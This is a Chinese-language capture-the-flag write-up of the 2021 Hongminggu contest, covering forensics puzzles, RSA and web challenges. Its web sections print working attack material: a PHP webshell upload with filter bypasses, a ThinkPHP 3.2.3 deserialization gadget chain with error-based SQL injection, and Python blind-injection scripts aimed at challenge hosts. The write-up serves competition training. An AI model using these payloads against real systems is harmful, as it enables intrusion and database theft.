freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

『CTF』红明谷杯数据安全大赛 WP
2021-04-06 16:55:41

『CTF』红明谷杯数据安全大赛 WP


日期:2021-04-06

作者:宸极实验室

介绍:总排名全国第 23 名,还需要继续努力。

小编提醒:关注微信公众号『宸极实验室』,回复 『红明谷杯』,即可获取题目附件。


-w1271

MISC

0x01 签到

-w1049
打开以后是选择题,做题即可获取 flag。

flag{7b01fbd9-3d99-49a4-9760-3176e90b0804}

0x02 InputMonitor

题目给出的附件中只有 User目录下的文件,在用户 link3桌面中发现 flag.7z以及 log_data.txt,从文本中得到提示,结合题目名称,猜测跟输入法有关系。

网上查询资料后找到微软输入法的词库文件,路径 \AppData\Roaming\Microsoft\InputMethod\Chs,是用词库编辑器可以看到部分文字,但是只有ChsPinyinUDL.dat读取成功了。

image-20210402182321508

起初根据六个字节爆破一波,无果后目光回到之前加载失败的文件,ChsPinyinIH.dat读取失败了,提示说越界,结合 Recent最近访问的文件,推测文件结构被改过,索性直接打开看,注意格式是 Unicode,在其中发现六位长度的字符串有志者事竟成,尝试了一下解压成功。

image-20210402183203757

解压后的 PDF,图片底下有段文字,拖动下图片就可以看到。

image-20210402183424781

flag{Y0u_F1nd_h1dd3n_m3g}

0x03 歪比歪比

下载附件,解压,发现是个流量包

改后缀名,Wireshark打开,追踪一下 TCP流,拿到了题目中截取的内容,如图。

猜测是二进制转字符,尝试了转 3-56进制,发现都没出啥东西。

查看了一下 01 的个数,发现是 5212,分解一下质因数,只能是 2*2*1303,所以猜测不是通过二进制直接转的字符。

放表格里,按照右侧的数字递增排一下顺序,发现有多组重复的数字,并且 {}对应的是 1,-对应的是 4。

此时猜测,右侧的数字可能是频率,使用 sum函数计算了一下和,发现正好是 1000,和题目中给到的 surprise message len: 1000相匹配。

结合 右侧的数字是频率 + 数字有重复 + 输出是 01 ,猜测是 哈弗曼树。

此时有了 哈弗曼树 的频率、输出,需要求原文。

网上找了很多脚本,都搞不了。此时想到,既然有了频率,可以输出相同的二叉树,从而得到字符和对应的01编码。

按照给的顺序,写个脚本,直接输出,然后去掉多余的空格。

直接网上找了个在线的网站生成,此处有坑,内容不能包含符号,所以把 {-}分别用大写字母 ABC 代替,直接生成了二叉树。

人工匹出来,明文和对应的编码,如下

网上找了个在线的解码工具,垃圾网站,解出来的有问题。

手撸了个脚本,GetFlag

得到了最终的 flag

flag{50d477a2-6036-d0a9-9d63-49c2e9e5d1e5}

WEB

0x01 write_shell

题目代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

?>

首先,这不是无字母数字webshell

恰恰相反,本题对常见的无字母数字webshell做了过滤。

例如:过滤了异或符号,过滤了取反符号,过滤了下划线等。

并且,对于php标签,过滤了php字符。

可通过php短标签绕过。

<? ?>

谷歌一下,你就知道,最短的webshell是:

<?=`$_GET[1]`?>

由于过滤了下划线,我们不能用常规的传参,但可以直接执行命令。
php语言中,会将反引号中间的内容,当作shell语句执行。

例如:

<?=`whoami`?>

payload:

?action=upload&data=<?=`whoami`?>

访问pwd得到的路径,即可看到结果。

虽然过滤了空格,我们可以通过%09进行绕过。

?action=upload&data=<?=`ls%09/`?>

web_1

可看到flag文件为php文件!whatyouwantggggggg401.php

由于过滤了php字符,可通过*通配符绕过

?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>

Ctrl+U即可得到flag

web_1

flag{4d3e0093-e9de-4a15-9c09-d97abb5ad8c8}

0x02 easytp

thinkphp3.2.3版本,简单扫一下目录可得到www.zip

其中./Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        echo(unserialize(base64_decode(file_get_contents('php://input'))));
        $this->display();

    }
    public function test(){
        echo(unserialize(base64_decode(file_get_contents('php://input'))));
    }
}

定义了反序列化方法

例如:

http://XXX/index.php?s=Home/Index/test
POST:czo0OiJ0ZXN0Ijs=

web_1

谷歌发现了一篇思路一致的文章,https://www.jianshu.com/p/41782991b4b2

根据payload构建远程fakemysql

成功读取文件

通过读取到/start.sh

web_1

web_1

#!/bin/sh

FLAG_PATH=/var/www/html/tp3.sql
FLAG_MODE=M_SQL
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
        "M_ECHO")
            echo -n ${ICQ_FLAG} > ${FLAG_PATH}
            FILE_MODE=755
            chmod ${FILE_MODE} ${FLAG_PATH}
            ;;
        "M_SED")
            #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            ;;
        "M_SQL")
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            mysql -uroot -proot < ${FLAG_PATH}
            rm -f ${FLAG_PATH}
            ;;
        *)
            ;;
    esac
    echo [+] ICQ_FLAG OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

发现,flag在数据库中,mysql帐号密码均为root

通过payload连接数据库失败,密码错误

经过尝试后发现,密码为123456

连接后可通过报错注入的方式显示数据

查询可知,存在tp库,f14g

由于用的报错注入函数存在32位字符限制,查询的时候,通过mid函数切片

web_1

最终payload为:

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset"  => "utf8",
"username" => "root",
"password" => "123456"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
            $this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
            $this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
"table" => "mysql.user where extractvalue(1,mid(concat(0x7e, (SELECT * from tp.f14g),0x7e),1,32))#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

flag{c072f84c-df23-4d5e-ab53-96d792515416}

0x03 happysql

题目有注册和登录,疑似二次注入

经过fuzz

过滤了单引号,空格,or等字符

二次注入失败

在经过一系列失败后,发现可能为盲注

注册admin1帐号

登录时发现,存在双引号的万能密码

username=admin1"||"&password=1

或者

username=admin1"||1#&password=1

通过对字符的fuzz,查看笔记,可能唯一适用就是regexp

但过滤了^和$

此路不通

username=admin1"||right(user(),1)regexp("t")#&password=1

但是这种是可以的

username=1"||user()/**/regexp/**/user()#&password=1

然后,变形一下

username=1"||left(user(),1)/**/regexp/**/"r"#&password=1

可得

username=1"||left(user(),4)/**/regexp/**/"root"#&password=1

web_1

同理可得

username=1"||left(database(),3)/**/regexp/**/"ctf"#&password=1

web_1

当前用户是root,当前数据库是ctf

接下来就是爆表名,脚本如下:

import os
import requests
url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php"
s = requests.session()
ss = ',{}abcdefghijklmnopqrstuvwxyz0123456789'

flag = ''
for i in range(1,50):
    for j in ss:
        data = {
         'username':'1"||left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/"ctf"),%d)/**/regexp/**/"%s"#'%(i,flag+j),
        'password':'1'
       }

        res =  s.post(url,data).text
        if 'home' in res:
            flag += j
            print(flag)
            break

得到表名为ctff1ag

web_1

最终payload:

username=1"||left((select/**/*/**/from/**/f1ag),1)/**/regexp/**/"f"#&password=1

web_1

脚本如下:

import os
import requests
import string
url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php"
s = requests.session()
ss = string.printable
ss = ss[0:ss.index('*')] + ss[ss.index('*')+1:]

flag = ''
for i in range(1,50):
    for j in ss:
        data = {
         'username':'1"||left((select/**/*/**/from/**/f1ag),%d)/**/regexp/**/"%s"#'%(i,flag+j),
        'password':'1'
       }

        res =  s.post(url,data).text
        if 'home' in res:
            flag += j
            print(flag)
            break

web_1

由于-被过滤了,所以将.替换成-{}即可得到flag

flag{a46e8aa1-86c8-47ee-933f-28e36960218c}

Crypto

0x01 RSA attack

看到e=3,最先想到低加密指数攻击,直接开三次方即可。

-w764

flag{w0_x1hu1n_y0u_b5st}

# CTF # 安全竞赛 # Web 安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录